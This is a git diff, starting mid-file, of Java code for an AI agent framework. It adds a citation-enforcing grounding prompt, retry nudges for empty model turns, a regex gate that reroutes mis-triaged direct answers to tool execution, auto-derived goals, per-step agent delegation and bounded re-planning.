"**核心原则**:你的回答必须完全基于工具返回的信息(证据),不得使用内部知识编造内容。\n\n" + + "**必须遵守**:\n" + + "1. **仅据证据作答**:如果工具返回的信息不足以回答问题,必须明确说明\"根据现有信息无法回答此问题\"。\n" + + "2. **标记引用来源**:回答中引用的每个事实性陈述都必须用方括号数字标记来源,例如 [1]、[2]。\n" + + "3. **文末列出来源**:在回答末尾列出所有引用的来源列表,格式为:\n" + + " [1] 页面标题 - 章节(如有)\n" + + " [2] 页面标题 - 章节(如有)\n" + + "4. **禁止捏造来源**:不得引用未在本次对话中通过工具获取的页面或文件。\n" + + "5. **内容忠实**:必须准确反映证据内容,不得歪曲、编造或过度推断。\n\n" + + "**违规后果**:未按规则引用来源或使用未验证的信息将导致回答被拒绝。\n"; + + private static String buildGroundedSystemPrompt(String basePrompt, boolean groundingEnforced) { + String prompt = basePrompt + TOOL_USE_ENFORCEMENT; + return groundingEnforced ? prompt + GROUNDED_CONTRACT : prompt; + } + + /** + * The grounded-answer contract (cite-or-refuse) only fits agents that retrieve + * from a knowledge base. Detecting a bound {@code wiki_*} tool scopes the strict + * regime to those scenarios instead of degrading every agent — a casual agent + * with no KB should not be forced to refuse or emit [n] citations. + */ + private boolean hasWikiTool() { + if (toolCallbacks == null) { + return false; + } + return toolCallbacks.stream().anyMatch(cb -> { + String name = cb.getToolDefinition().name(); + return name != null && name.toLowerCase(Locale.ROOT).replace("-", "_").startsWith("wiki_"); + }); + } + private final ChatModel chatModel; private final List toolCallbacks; /** @@ -448,17 +559,16 @@ public class ReasoningNode implements NodeAction { // ======= 构建 Prompt ======= String systemPrompt = accessor.systemPrompt(); - // Append a tool-use enforcement clause to every ReasoningNode call. - // Without it, some models (notably DeepSeek thinking and Claude Opus) - // tend to "narrate" — emit a final_answer like "现在直接生成立项材料 - // docx" instead of actually calling renderDocx, which makes the - // graph silently terminate at final_answer_node with the narration - // as the user-facing reply. + // Tool-use enforcement is always appended: without it some models tend to + // "narrate" instead of calling tools. The grounded contract (cite-or-refuse) + // is appended only when the agent has a knowledge-base (wiki_*) tool bound, + // so KB-grounded scenarios get strict source attribution while general + // agents keep their normal answering behaviour. // // Appended at runtime rather than woven into the AgentEntity-stored // prompt so it stays out of the user-editable agent UI but is still // always-on for the runtime LLM. - systemPrompt = systemPrompt + TOOL_USE_ENFORCEMENT; + systemPrompt = buildGroundedSystemPrompt(systemPrompt, hasWikiTool()); List messages = accessor.messages(); // Per-loop budget: bound the working message list a single Reasoning @@ -509,6 +619,8 @@ public class ReasoningNode implements NodeAction { String workspaceBasePath = state.value(vip.mate.agent.graph.state.MateClawStateKeys.WORKSPACE_BASE_PATH, ""); String agentIdStr = state.value(MateClawStateKeys.AGENT_ID, ""); String userMsg = state.value(MateClawStateKeys.USER_MESSAGE, ""); + String runtimeModelName = state.value(MateClawStateKeys.RUNTIME_MODEL_NAME, ""); + String runtimeProviderId = state.value(MateClawStateKeys.RUNTIME_PROVIDER_ID, ""); // Build the non-history prefix ONCE. The PTL retry branch below // reuses this list verbatim so the retried prompt has exactly the @@ -517,7 +629,7 @@ public class ReasoningNode implements NodeAction { // segment which led to "answer regressed after compaction" // complaints on long sessions. List nonHistoryPrefix = buildNonHistoryPrefix(systemPrompt, workspaceBasePath, agentIdStr, userMsg, - accessor.chatOrigin()); + accessor.chatOrigin(), runtimeModelName, runtimeProviderId); // Append the runtime-rendered skill catalog as a SEPARATE SystemMessage // right after the skeleton system prompt. Keeping it out of the baked @@ -675,22 +787,40 @@ public class ReasoningNode implements NodeAction { } } - // Empty-completion guard: a turn with no tool call, no content, and - // no thinking is not a real answer. Under heavy message-window - // trimming on long multi-step tasks the model occasionally emits a - // blank turn; the final-answer branch would then treat it as "done" - // (finalAnswer="") and end the run prematurely (observed: a 10-item - // research task stopping at item 2). Re-prompt it to continue — - // bounded, so a model that genuinely has nothing left still - // terminates cleanly through the normal empty-answer path below. + // Continuation guard: a no-tool-call turn with no visible content is + // not a real answer, whether it is fully blank or carries only + // reasoning. The final-answer branch would otherwise treat it as + // "done" (finalAnswer="") and end the run prematurely. Two shapes: + // BLANK — no content, no thinking, no tool call. Seen under + // heavy message-window trimming on long multi-step + // tasks (a 10-item research task stopping at item 2). + // THINKING_ONLY — reasoning present but no content and no tool call. + // Interleaved-thinking models "decide" they are done + // in their reasoning yet never emit the answer text; + // most often right after a tool result (e.g. a + // send-file tool succeeds but the download URL is + // never written, so the user has to send another + // message to resume). + // Re-prompt to continue — bounded, so a model that genuinely has + // nothing left still terminates cleanly through the normal + // empty-answer path below. When the newest turn is a tool result, an + // answer-anchored nudge recovers the user-facing reply in the same run. int emptyRetries = 0; - while (emptyRetries < MAX_EMPTY_COMPLETION_RETRIES && isEmptyCompletion(result)) { + for (ContinuationIntent intent = classifyContinuation(result); + emptyRetries < MAX_EMPTY_COMPLETION_RETRIES && intent != ContinuationIntent.FINAL; + intent = classifyContinuation(result)) { emptyRetries++; - log.warn("[ReasoningNode] Empty LLM completion (no tool call / content / thinking); " - + "nudging to continue (retry {}/{}), conv={}", - emptyRetries, MAX_EMPTY_COMPLETION_RETRIES, conversationId); + boolean afterTool = lastTurnIsToolResponse(promptMessages); + String nudge = afterTool + ? POST_TOOL_EMPTY_NUDGE + : (intent == ContinuationIntent.THINKING_ONLY + ? THINKING_ONLY_NUDGE + : EMPTY_COMPLETION_NUDGE); + log.warn("[ReasoningNode] {} completion (afterTool={}); nudging to continue " + + "(retry {}/{}), conv={}", + intent, afterTool, emptyRetries, MAX_EMPTY_COMPLETION_RETRIES, conversationId); List nudgedMessages = new ArrayList<>(promptMessages); - nudgedMessages.add(new UserMessage(EMPTY_COMPLETION_NUDGE)); + nudgedMessages.add(new UserMessage(nudge)); Prompt nudgePrompt = new Prompt(nudgedMessages, options); nextLlmCallCount++; result = streamingHelper.streamCall( @@ -863,12 +993,14 @@ public class ReasoningNode implements NodeAction { "iteration", accessor.iterationCount(), "answerChars", content != null ? content.length() : 0 )); + String answerWithSources = accessor.sourceEvidenceLedger() + .appendWikiSourceTable(content != null ? content : ""); SourceEvidenceLedger.Validation validation = - accessor.sourceEvidenceLedger().validateAnswer(content != null ? content : ""); + accessor.sourceEvidenceLedger().validateAnswer(answerWithSources); boolean evidenceInsufficient = !validation.valid(); String finalAnswer = evidenceInsufficient ? evidenceWarning(validation.unsupportedReferences()) - : (content != null ? content : ""); + : answerWithSources; if (evidenceInsufficient) { log.warn("[ReasoningNode] Evidence insufficient for final answer, unsupportedReferences={}", validation.unsupportedReferences()); @@ -891,7 +1023,7 @@ public class ReasoningNode implements NodeAction { .currentPhase("reasoning") .streamedContent(evidenceInsufficient ? (content != null ? content : "") : "") .finishReason(evidenceInsufficient ? FinishReason.EVIDENCE_INSUFFICIENT : FinishReason.NORMAL) - .contentStreamed(!evidenceInsufficient) + .contentStreamed(!evidenceInsufficient && Objects.equals(answerWithSources, content != null ? content : "")) .thinkingStreamed(!result.thinking().isEmpty()) .llmCallCount(nextLlmCallCount) .mergeUsage(state, result) @@ -901,9 +1033,9 @@ public class ReasoningNode implements NodeAction { } private static String evidenceWarning(List unsupportedReferences) { - return "\n\n[证据不足] 以下源码引用未出现在已读取/搜索到的工具证据中:" + return "\n\n[证据不足] 以下引用未出现在本轮已读取/搜索到的工具证据中,或缺少有效来源标注:" + String.join(", ", unsupportedReferences) - + "。请继续读取相关文件后再下结论。"; + + "。请继续检索/读取相关证据后再下结论。"; } private AssistantMessage.ToolCall deserializeToolCall(String json) { @@ -967,10 +1099,13 @@ public class ReasoningNode implements NodeAction { String workspaceBasePath, String agentIdStr, String userMsg, - vip.mate.agent.context.ChatOrigin chatOrigin) { + vip.mate.agent.context.ChatOrigin chatOrigin, + String runtimeModelName, + String runtimeProviderId) { List prefix = new ArrayList<>(); prefix.add(new SystemMessage(systemPrompt)); - prefix.add(new UserMessage(RuntimeContextInjector.buildContextMessage(workspaceBasePath, null, chatOrigin))); + prefix.add(new UserMessage(RuntimeContextInjector.buildContextMessage( + workspaceBasePath, null, chatOrigin, runtimeModelName, runtimeProviderId))); // When this turn already recalled the user's own current project from // structured memory, skip auto-injecting knowledge-base reference context. // Otherwise the KB pages (reference material, possibly about unrelated diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcher.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcher.java index cb573ae0..0d15a188 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcher.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcher.java @@ -30,6 +30,12 @@ public class StepProgressDispatcher implements EdgeAction { if ("awaiting_approval".equals(currentPhase) || "plan_aborted".equals(currentPhase)) { return StateGraph.END; } + // Step-failure recovery: a failed step requested a re-plan of the + // remaining work. Route back to PlanGeneration instead of aborting; + // PLAN_REPLAN_COUNT (set by StepExecutionNode) bounds the loop. + if ("plan_replan".equals(currentPhase)) { + return PlanStateKeys.PLAN_GENERATION_NODE; + } int currentIndex = state.value(PlanStateKeys.CURRENT_STEP_INDEX, 0); List steps = state.>value(PlanStateKeys.PLAN_STEPS).orElse(List.of()); diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/PlanGenerationNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/PlanGenerationNode.java index 7d4ed73e..33280fc7 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/PlanGenerationNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/PlanGenerationNode.java @@ -10,17 +10,27 @@ import org.springframework.ai.chat.messages.UserMessage; import org.springframework.ai.chat.model.ChatModel; import org.springframework.ai.chat.prompt.Prompt; import org.springframework.ai.converter.BeanOutputConverter; +import org.springframework.util.StringUtils; +import vip.mate.agent.AgentService; import vip.mate.agent.AgentToolSet; import vip.mate.agent.GraphEventPublisher; +import vip.mate.agent.model.AgentEntity; import vip.mate.agent.graph.NodeStreamingChatHelper; import vip.mate.agent.graph.plan.state.PlanStateAccessor; import vip.mate.agent.graph.plan.state.PlanStateKeys; import vip.mate.agent.graph.state.MateClawStateKeys; +import vip.mate.agent.context.ChatOrigin; import vip.mate.agent.context.ConversationWindowManager; import vip.mate.agent.context.RuntimeContextInjector; +import vip.mate.goal.config.GoalProperties; +import vip.mate.goal.model.GoalCreateRequest; +import vip.mate.goal.model.GoalCriterion; +import vip.mate.goal.model.GoalEntity; +import vip.mate.goal.service.GoalService; import vip.mate.planning.service.PlanningService; import java.util.ArrayList; +import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.stream.Collectors; @@ -52,6 +62,17 @@ public class PlanGenerationNode implements NodeAction { private final NodeStreamingChatHelper streamingHelper; private final ConversationWindowManager conversationWindowManager; private final AgentToolSet toolSet; + /** Optional — auto-derive a goal from the plan. Null disables the feature (legacy/test). */ + private final GoalService goalService; + private final GoalProperties goalProperties; + /** Optional — advertise delegatable specialist agents to the planner and + * resolve per-step assignments. Null disables per-step delegation (legacy/test). */ + private final AgentService agentService; + + /** Plan steps below this size are trivial tool tasks, not goal-worthy. */ + private static final int MIN_STEPS_FOR_AUTO_GOAL = 2; + /** Cap the auto-derived goal title; the full request rides in the description. */ + private static final int AUTO_GOAL_TITLE_MAX = 80; /** * Structured triage result — field names use @JsonProperty to match the @@ -61,7 +82,12 @@ public class PlanGenerationNode implements NodeAction { @JsonProperty("needs_planning") boolean needsPlanning, @JsonProperty("direct_answer") String directAnswer, @JsonProperty("plan_type") String planType, - @JsonProperty("steps") List steps + @JsonProperty("steps") List steps, + // Optional per-step delegation: agent names parallel to steps (same + // order). An empty string / missing entry means "run with the parent + // agent". Only populated when delegatable specialist agents are + // advertised to the planner; absent for backward compatibility. + @JsonProperty("step_agents") List stepAgents ) {} private static final String PLANNING_PROMPT = """ @@ -96,15 +122,104 @@ public class PlanGenerationNode implements NodeAction { - 多部分、多阶段、需要逐步推进的目标走(C);真正单一原子动作走(B);只有简单一问一答才用(A)。 """; + /** + * Evidence gate — action signals in the USER GOAL. When triage returns + * direct_answer (A) but the goal contains any of these, the model almost + * certainly mis-routed a tool-requiring task; accepting the direct answer + * would end the turn without ever executing a tool ("复杂任务不执行就停止"). + *

+ * The gate is deliberately biased toward executing: a false positive only + * costs one extra executor pass (which still produces the answer, with or + * without tools), whereas a false negative silently drops the whole task. + * Intentionally excludes very common bare temporal words (现在/当前/最新) + * to avoid downgrading genuine knowledge Q&A on every occurrence. + */ + private static final java.util.regex.Pattern GOAL_REQUIRES_EXECUTION = java.util.regex.Pattern.compile( + "读取|读一下|读一份|打开文件|查一下|检索|搜索|联网|下载|上传|抓取" + + "|记住|记一下|录入|保存|写入|存储|更新|删除|新建|创建|生成|画一[张幅]|画个" + + "|运行|执行|调用|跑一下|发送|发给|安排|提醒|预约" + + "|我的(记忆|文件|知识库|偏好|笔记|日程|目标)" + + "|你(现在|目前)?(挂载|加载|有哪些|支持哪些)|挂载了哪些|你的(技能|工具|MCP|插件)" + + "|帮我(做|改|查|建|写|发|跑|算|订|定|生成|整理|安排)" + + "|\\.(java|py|ts|js|vue|md|json|ya?ml|sql|csv|xml|txt|sh)\\b", + java.util.regex.Pattern.CASE_INSENSITIVE); + + /** + * Evidence gate — execution-promise phrasing in the direct answer itself. + * The model says it WILL act ("我先去读取…", "接下来调用…") rather than + * actually answering, which means the "direct answer" is really a plan + * preamble that would terminate before the action runs. Scoped to a verb + * whitelist so a normal narrative opener like "我来介绍一下杭州" is NOT caught. + */ + private static final java.util.regex.Pattern ANSWER_PROMISES_ACTION = java.util.regex.Pattern.compile( + "(我(先|这就|马上|稍后|接下来|现在)?(去|来)?|让我(先|来)?|接下来(我)?(会|要|将|需要)?|正在)" + + "(读取|读一下|查一下|查询|检索|搜索|联网|调用|执行|运行|获取|访问|查看一下" + + "|保存|记住|记录|写入|录入|创建|新建|生成|下载|上传|发送)"); + + /** + * Returns true when a triage {@code direct_answer} (A) should be overridden + * and routed through the executor as a single-step plan instead. Package- + * private and side-effect free so the gate's regex behavior is unit-testable + * without mocking the whole node. + * + * @param goal the user goal + * @param directAnswer the answer the triage model produced (may be null) + */ + static boolean shouldOverrideDirectAnswer(String goal, String directAnswer) { + String userAsk = stripInjectedContext(goal); + boolean goalNeedsExecution = userAsk != null && GOAL_REQUIRES_EXECUTION.matcher(userAsk).find(); + boolean answerPromisesAction = directAnswer != null && ANSWER_PROMISES_ACTION.matcher(directAnswer).find(); + return goalNeedsExecution || answerPromisesAction; + } + + /** + * Strips the injected {@code } wrapper that + * RuntimeContextInjector prepends to every goal, returning just the user's + * actual ask. Without this the gate matches on the injected memory/profile + * text (which contains filenames like {@code user.md} and memory keywords), + * firing on essentially every task and defeating the direct-answer fast path. + */ + static String stripInjectedContext(String goal) { + if (goal == null) { + return null; + } + int end = goal.lastIndexOf(""); + if (end >= 0) { + return goal.substring(end + "".length()).trim(); + } + return goal; + } + public PlanGenerationNode(ChatModel chatModel, PlanningService planningService, NodeStreamingChatHelper streamingHelper, ConversationWindowManager conversationWindowManager, AgentToolSet toolSet) { + this(chatModel, planningService, streamingHelper, conversationWindowManager, toolSet, null, null); + } + + public PlanGenerationNode(ChatModel chatModel, PlanningService planningService, + NodeStreamingChatHelper streamingHelper, + ConversationWindowManager conversationWindowManager, + AgentToolSet toolSet, + GoalService goalService, GoalProperties goalProperties) { + this(chatModel, planningService, streamingHelper, conversationWindowManager, toolSet, + goalService, goalProperties, null); + } + + public PlanGenerationNode(ChatModel chatModel, PlanningService planningService, + NodeStreamingChatHelper streamingHelper, + ConversationWindowManager conversationWindowManager, + AgentToolSet toolSet, + GoalService goalService, GoalProperties goalProperties, + AgentService agentService) { this.chatModel = chatModel; this.planningService = planningService; this.streamingHelper = streamingHelper; this.conversationWindowManager = conversationWindowManager; this.toolSet = toolSet; + this.goalService = goalService; + this.goalProperties = goalProperties; + this.agentService = agentService; } /** @@ -112,7 +227,119 @@ public class PlanGenerationNode implements NodeAction { */ @Deprecated public PlanGenerationNode(ChatModel chatModel, PlanningService planningService) { - this(chatModel, planningService, null, null, null); + this(chatModel, planningService, null, null, null, null, null); + } + + /** + * Auto-derive a goal from a freshly-generated multi-step plan so the + * Plan-Execute path engages the goal subsystem (the planner / step executor + * never call {@code setGoal} themselves). The plan steps become the goal's + * acceptance criteria — the plan IS the decomposition — so the first + * evaluation skips the bootstrap round and judges those criteria directly. + * + *

Returns the created goal (to inject into {@code ACTIVE_GOAL} so THIS + * run's GoalEvaluationNode picks it up) or {@code null} when not applicable: + * feature off, fewer than {@link #MIN_STEPS_FOR_AUTO_GOAL} steps, no channel + * context, or the conversation already has an active goal. Best-effort — + * any failure is swallowed so planning is never blocked by goal bookkeeping. + */ + GoalEntity maybeAutoCreateGoal(PlanStateAccessor accessor, List steps) { + if (goalService == null || goalProperties == null + || !goalProperties.isEnabled() || !goalProperties.isAutoGoalFromPlan()) { + return null; + } + if (steps == null || steps.size() < MIN_STEPS_FOR_AUTO_GOAL) { + return null; + } + ChatOrigin origin = accessor.chatOrigin(); + String convId = origin.conversationId(); + if (convId == null || convId.isBlank() || origin.agentId() == null) { + return null; + } + try { + if (goalService.findActiveByConversation(convId) != null) { + return null; // respect an existing goal (incl. re-plan passes) + } + String request = stripInjectedContext(accessor.goal()).strip(); + GoalCreateRequest req = new GoalCreateRequest(); + req.setConversationId(convId); + req.setAgentId(origin.agentId()); + req.setWorkspaceId(origin.workspaceId() != null ? origin.workspaceId() : 1L); + req.setTitle(request.isEmpty() ? "多步任务" + : request.length() > AUTO_GOAL_TITLE_MAX + ? request.substring(0, AUTO_GOAL_TITLE_MAX) : request); + req.setDescription(request); + List criteria = steps.stream() + .filter(s -> s != null && !s.isBlank()) + .map(s -> new GoalCriterion("", s.strip(), false, "")) + .collect(Collectors.toList()); + if (!criteria.isEmpty()) { + req.setCriteria(criteria); + } + String username = origin.requesterId() != null && !origin.requesterId().isBlank() + ? origin.requesterId() : "system"; + GoalEntity created = goalService.create(req, username); + log.info("[PlanGeneration] Auto-derived goal {} from plan ({} criteria) for conversation {}", + created.getId(), criteria.size(), convId); + return created; + } catch (Exception e) { + log.warn("[PlanGeneration] Auto-goal-from-plan skipped (non-fatal): {}", e.toString()); + return null; + } + } + + /** + * Enabled agents in the given workspace, excluding the parent (plan) agent + * itself — these are the agents a step can be delegated to. Empty when + * delegation is unavailable (no {@link AgentService}) or no peers exist. + */ + private List listDelegatableAgents(Long workspaceId, String parentAgentId) { + if (agentService == null || workspaceId == null) { + return List.of(); + } + try { + return agentService.listAgentsByWorkspace(workspaceId, true).stream() + .filter(a -> a.getId() != null && !String.valueOf(a.getId()).equals(parentAgentId)) + .collect(Collectors.toList()); + } catch (Exception e) { + log.warn("[PlanGeneration] Failed to list delegatable agents (non-fatal): {}", e.toString()); + return List.of(); + } + } + + /** + * Map the planner's {@code step_agents} (agent names, parallel to steps) to + * agent ids. Returns {@code null} when nothing is delegated so {@code createPlan} + * stays on the legacy path. Names are matched case-insensitively against the + * delegatable agents; blank / unknown / parent-agent names resolve to {@code null} + * (that step runs with the parent agent). + */ + private List resolveStepAgents(List steps, List stepAgents, + Long workspaceId, String parentAgentId) { + if (stepAgents == null || stepAgents.isEmpty() || steps == null || steps.isEmpty()) { + return null; + } + List delegatable = listDelegatableAgents(workspaceId, parentAgentId); + if (delegatable.isEmpty()) { + return null; + } + Map byName = new HashMap<>(); + for (AgentEntity a : delegatable) { + if (a.getName() != null) { + byName.put(a.getName().trim().toLowerCase(), a.getId()); + } + } + List ids = new ArrayList<>(); + boolean any = false; + for (int i = 0; i < steps.size(); i++) { + String name = i < stepAgents.size() ? stepAgents.get(i) : null; + Long id = (name == null || name.isBlank()) ? null : byName.get(name.trim().toLowerCase()); + if (id != null) { + any = true; + } + ids.add(id); + } + return any ? ids : null; } @Override @@ -134,7 +361,11 @@ public class PlanGenerationNode implements NodeAction { } String systemPrompt = accessor.systemPrompt(); - String agentId = state.value(MateClawStateKeys.TRACE_ID, "unknown"); + // Persist plans under the real agent id (the same key StepExecutionNode + // reads), NOT the per-run trace id — otherwise mate_plan.agent_id holds a + // random trace string and listByAgent never matches, leaving the Plan + // board permanently empty even after plans are generated. + String agentId = state.value(MateClawStateKeys.AGENT_ID, ""); String conversationId = accessor.conversationId(); log.info("[PlanGeneration] Evaluating goal: {}", goal.length() > 100 ? goal.substring(0, 100) + "..." : goal); @@ -169,8 +400,11 @@ public class PlanGenerationNode implements NodeAction { vip.mate.agent.context.ChatOrigin chatOrigin = state.value(MateClawStateKeys.CHAT_ORIGIN) .orElse(vip.mate.agent.context.ChatOrigin.EMPTY); + String runtimeModelName = state.value(MateClawStateKeys.RUNTIME_MODEL_NAME, ""); + String runtimeProviderId = state.value(MateClawStateKeys.RUNTIME_PROVIDER_ID, ""); promptMessages.add(new UserMessage( - RuntimeContextInjector.buildContextMessage(workspaceBasePath, null, chatOrigin))); + RuntimeContextInjector.buildContextMessage( + workspaceBasePath, null, chatOrigin, runtimeModelName, runtimeProviderId))); // Advertise available tools so the LLM can recognize when an action is possible, // but do NOT force "any tool usage implies multi-step" — single-hop tool use @@ -184,6 +418,24 @@ public class PlanGenerationNode implements NodeAction { + "\n单次工具调用应归为单步(B),不要拆成多步。")); } + // Advertise delegatable specialist agents so the planner can assign a + // multi-step plan's step to a dedicated agent (e.g. a test step to a + // QA agent, a UI step to a frontend agent). Only fills the step's + // step_agents slot; unassigned steps stay with the parent agent. + // Skipped entirely when no peer agents exist in the workspace. + List delegatable = listDelegatableAgents(chatOrigin.workspaceId(), agentId); + if (!delegatable.isEmpty()) { + String agentLines = delegatable.stream() + .map(a -> "- " + a.getName() + + (StringUtils.hasText(a.getDescription()) ? ":" + a.getDescription() : "")) + .collect(Collectors.joining("\n")); + promptMessages.add(new UserMessage( + "可委派的专职 Agent(仅当某步骤明显属于其专长时才指派,否则该步骤留空、由你自己执行):\n" + + agentLines + + "\n若要委派,在 step_agents 数组对应位置填写 Agent 名称(与 steps 同序、等长);" + + "不委派的步骤填空字符串。多数步骤通常不需要委派。")); + } + // Inject working context (rolling conversation summary) so triage respects // prior constraints without re-reading full history. String workingContext = accessor.workingContext(); @@ -247,6 +499,31 @@ public class PlanGenerationNode implements NodeAction { // Category (A): direct answer — push to client and terminate via DirectAnswerNode. String directAnswer = triage != null && triage.directAnswer() != null ? triage.directAnswer() : llmResponse; + + // Evidence gate: catch a mis-routed A that actually needs tools. + // Downgrading to a single-step plan keeps tool access; the cost of + // a false positive is one extra executor pass, while a missed + // misroute drops the whole task silently. + if (shouldOverrideDirectAnswer(goal, directAnswer)) { + log.warn("[PlanGeneration] Evidence gate overrode direct-answer route; " + + "downgrading to single-step plan so tools can execute (goal: {})", + goal.length() > 60 ? goal.substring(0, 60) + "..." : goal); + List gatedSteps = List.of(goal); + var gatedPlan = planningService.createPlan(agentId, conversationId, goal, gatedSteps); + events.add(GraphEventPublisher.planCreated(gatedPlan.getId(), gatedSteps)); + return PlanStateAccessor.output() + .needsPlanning(true) + .planId(gatedPlan.getId()) + .planSteps(gatedSteps) + .planValid(true) + .currentStepIndex(0) + .currentPhase("plan_generated") + .thinkingStreamed(!result.thinking().isEmpty()) + .mergeUsage(state, result) + .events(events) + .build(); + } + log.info("[PlanGeneration] Direct-answer route taken (no tools, no planning)"); streamingHelper.broadcastContent(conversationId, directAnswer); @@ -273,13 +550,34 @@ public class PlanGenerationNode implements NodeAction { steps = List.of(goal); } - var plan = planningService.createPlan(agentId, goal, steps); - log.info("[PlanGeneration] Plan created: id={}, steps={} ({})", - plan.getId(), steps.size(), steps.size() == 1 ? "single-step" : "multi-step"); + // Resolve any per-step agent delegation the planner asked for. Null + // when nothing is delegated, keeping createPlan on the legacy path. + List stepAgentIds = resolveStepAgents(steps, + triage != null ? triage.stepAgents() : null, + chatOrigin.workspaceId(), agentId); + var plan = planningService.createPlan(agentId, conversationId, goal, steps, stepAgentIds); + log.info("[PlanGeneration] Plan created: id={}, steps={} ({}){}", + plan.getId(), steps.size(), steps.size() == 1 ? "single-step" : "multi-step", + stepAgentIds != null ? ", per-step delegation=" + stepAgentIds : ""); events.add(GraphEventPublisher.planCreated(plan.getId(), steps)); - return PlanStateAccessor.output() + // Auto-derive a goal from a genuine multi-step plan so the + // Plan-Execute path engages the goal subsystem. Injected into + // ACTIVE_GOAL so this same run's GoalEvaluationNode evaluates it. + GoalEntity autoGoal = maybeAutoCreateGoal(accessor, steps); + if (autoGoal != null && goalService != null) { + // Surface it to the UI exactly like the setGoal tool does + // ({goalId, conversationId, goal}) so the goal panel hydrates + // even though the user never called setGoal. Same SSE event the + // frontend goal store already listens for. + events.add(new GraphEventPublisher.GraphEvent("goal_created", Map.of( + "goalId", String.valueOf(autoGoal.getId()), + "conversationId", conversationId, + "goal", goalService.toResponse(autoGoal)), System.currentTimeMillis())); + } + + PlanStateAccessor.OutputBuilder planOut = PlanStateAccessor.output() .needsPlanning(true) .planId(plan.getId()) .planSteps(steps) @@ -289,8 +587,11 @@ public class PlanGenerationNode implements NodeAction { .contentStreamed(true) .thinkingStreamed(!result.thinking().isEmpty()) .mergeUsage(state, result) - .events(events) - .build(); + .events(events); + if (autoGoal != null) { + planOut.put(MateClawStateKeys.ACTIVE_GOAL, autoGoal); + } + return planOut.build(); } catch (Exception e) { log.error("[PlanGeneration] Triage failed, falling back to single-step plan: {}", e.getMessage(), e); @@ -299,7 +600,7 @@ public class PlanGenerationNode implements NodeAction { // answer. This preserves tool access on the failure path; the previous // "direct answer" fallback silently degraded tool-requiring tasks. try { - var plan = planningService.createPlan(agentId, goal, List.of(goal)); + var plan = planningService.createPlan(agentId, conversationId, goal, List.of(goal)); events.add(GraphEventPublisher.planCreated(plan.getId(), List.of(goal))); return PlanStateAccessor.output() .needsPlanning(true) diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepExecutionNode.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepExecutionNode.java index f43729de..59c4ca8a 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepExecutionNode.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepExecutionNode.java @@ -27,11 +27,16 @@ import vip.mate.agent.context.RuntimeContextInjector; import vip.mate.agent.graph.executor.ToolExecutionExecutor; import vip.mate.channel.web.ChatStreamTracker; import vip.mate.planning.service.PlanningService; +import vip.mate.agent.context.ChatOrigin; import vip.mate.skill.runtime.SkillCatalogRenderer; +import vip.mate.tool.builtin.DelegateAgentTool; +import vip.mate.tool.builtin.DelegationContext; +import vip.mate.tool.builtin.ToolExecutionContext; import java.util.ArrayList; import java.util.List; import java.util.Map; +import java.util.Set; /** * 步骤执行节点 @@ -68,6 +73,17 @@ public class StepExecutionNode implements NodeAction { */ private final SkillCatalogRenderer skillCatalogRenderer; + /** + * Optional per-step delegation executor. Set after construction (this node is + * built by AgentGraphBuilder, not Spring) so a plan step assigned to a + * specialist agent runs on that agent. Null disables per-step delegation. + */ + private DelegateAgentTool delegateAgentTool; + + public void setDelegateAgentTool(DelegateAgentTool delegateAgentTool) { + this.delegateAgentTool = delegateAgentTool; + } + /** * Per-step tool-call ceiling, aligned with {@code BaseAgent.MAX_ITERATIONS_HARD_CEILING}. * Matching the agent-level cap means this constant is never the bottleneck — @@ -89,6 +105,16 @@ public class StepExecutionNode implements NodeAction { * pathological cases where the agent appears frozen to the user. */ private static final long STEP_WALL_CLOCK_TIMEOUT_MS = 10 * 60 * 1000L; + + /** + * Max re-plans per graph run. When a step throws, the executor re-plans the + * remaining work around the failure instead of aborting the whole plan — a + * single transient tool error or one badly-scoped step no longer kills the + * task. Bounded so a step that fails every attempt can't re-plan forever; + * once exhausted the plan aborts as before. Kept small (the recursion + * ceiling already accommodates it) — raise with care. + */ + private static final int MAX_REPLANS_PER_RUN = 1; private static final ObjectMapper MAPPER = new ObjectMapper(); public StepExecutionNode(ChatModel chatModel, AgentToolSet toolSet, @@ -166,6 +192,8 @@ public class StepExecutionNode implements NodeAction { vip.mate.agent.context.ChatOrigin chatOrigin = state.value(MateClawStateKeys.CHAT_ORIGIN) .orElse(vip.mate.agent.context.ChatOrigin.EMPTY); + String runtimeModelName = state.value(MateClawStateKeys.RUNTIME_MODEL_NAME, ""); + String runtimeProviderId = state.value(MateClawStateKeys.RUNTIME_PROVIDER_ID, ""); if (stepIndex >= steps.size()) { log.warn("[StepExecution] stepIndex {} >= steps.size() {}, skipping", stepIndex, steps.size()); @@ -186,6 +214,19 @@ public class StepExecutionNode implements NodeAction { // "react_step" / "first_turn" markers when both stream into the // same SSE feed. boolean iterationEventsOn = streamTracker == null || streamTracker.isIterationEventsEnabled(); + + // Per-step delegation: when this step is assigned to a different + // specialist agent, run it on that agent (as an isolated child) and use + // its reply as the step result, instead of executing locally with the + // parent agent's tools. assignedAgentId comes from the DB so it survives + // replay / approval-resume. + Long assignedAgentId = planningService.getStepAssignedAgent(planId, stepIndex); + if (delegateAgentTool != null && assignedAgentId != null + && !assignedAgentId.equals(parseLongOrNull(agentId))) { + return executeDelegatedStep(accessor, stepIndex, step, planId, assignedAgentId, + conversationId, chatOrigin, events, iterationEventsOn); + } + if (iterationEventsOn) { events.add(GraphEventPublisher.iterationStart(stepIndex, "plan_step", "parent", null)); } @@ -195,7 +236,8 @@ public class StepExecutionNode implements NodeAction { planningService.updateSubPlanStatus(planId, stepIndex, "running"); // 构建消息列表 - List messages = buildStepMessages(accessor, step, systemPrompt, workspaceBasePath); + List messages = buildStepMessages(accessor, step, systemPrompt, workspaceBasePath, + runtimeModelName, runtimeProviderId); // 显式工具执行循环 String finalResult = null; @@ -219,6 +261,12 